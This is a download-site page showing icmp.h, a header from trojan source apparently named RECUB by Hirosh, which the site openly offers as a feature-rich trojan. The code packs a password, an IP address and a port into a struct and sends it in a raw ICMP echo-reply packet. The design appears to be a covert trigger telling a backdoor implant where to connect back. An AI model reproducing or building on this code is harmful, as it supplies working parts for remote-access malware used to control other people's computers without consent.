⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 icmp.h

📁 一个外国的木马哦,功能挺多的
💻 H
字号:
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
//																					 //		
//									RECUB											 //
//								  By Hirosh											 //	
//								www.hirosh.net										 //				
//								www.eos-india.net									 //	
//																					 //		
//Thanks for starch at http://mir-os.sourceforge.net For the idea,I started this by  //	
//porting his version in linux to win32,after some time i stoped porting bc i prefer //
//a small EXE heheh..,and thanks to NC source too..									 //		
//																					 //	
//				No CopyRights		- Feel Free to Cut & Paste	  				     // 	
//																					 //
//																					 //						
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////

typedef struct tagXData
{
char start;
char pass[4];
char ip[16];
unsigned int port;
char end;
} XData;


#define REQ_DATASIZE 32
typedef struct tagICMPHDR
{
    unsigned char  icmp_type;	   
    unsigned char  icmp_code;      
    unsigned short icmp_cksum;     
    unsigned short icmp_id;        
    unsigned short icmp_seq;       				     
} ICMPHDR, *PICMPHDR;

typedef struct tagECHOREQUEST
{
    ICMPHDR icmpHdr;
    char    cData[REQ_DATASIZE];

} ECHOREQUEST, *PECHOREQUEST;
USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while (size > 1)
    {
        cksum += *buffer++;
        size  -= sizeof(USHORT);
    }
    if (size)
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
}
void SendICMP(char *desip,XData data)
{
    WSADATA		wsaData;
    SOCKET		sock;
    static ECHOREQUEST	echo_req;
    struct sockaddr_in sin;
	BOOL bOpt;
    bOpt= 1;


    if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
    {
		MessageBox(0,"WSAStartup failure","rr",MB_OK);
    }

    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == SOCKET_ERROR)
    {
		MessageBox(0,"Error starting socket","rr",MB_OK);

    }

    sin.sin_family	= AF_INET;
    sin.sin_port	= htons(0);
    sin.sin_addr.s_addr = inet_addr(desip);


	echo_req.icmpHdr.icmp_type	= 0;
    echo_req.icmpHdr.icmp_code	= 0;
    echo_req.icmpHdr.icmp_cksum	= 0;
    echo_req.icmpHdr.icmp_id	= 1;
    echo_req.icmpHdr.icmp_seq	= 1;

	memcpy (echo_req.cData,(void *)&data,sizeof(data));

	char dd[100];
	XData *p;
	p=(XData *)&echo_req.cData;
    echo_req.icmpHdr.icmp_cksum = checksum((unsigned short *)&echo_req, sizeof(ECHOREQUEST));
    if (sendto(sock, (const char *) &echo_req, sizeof(ECHOREQUEST), 0, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR)
    {
		char mess[100];
		wsprintf(mess,"Error code is %d",GetLastError());
		MessageBox(0,"sendto() failed",mess,MB_OK);
    }
    closesocket(sock);
    WSACleanup();
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -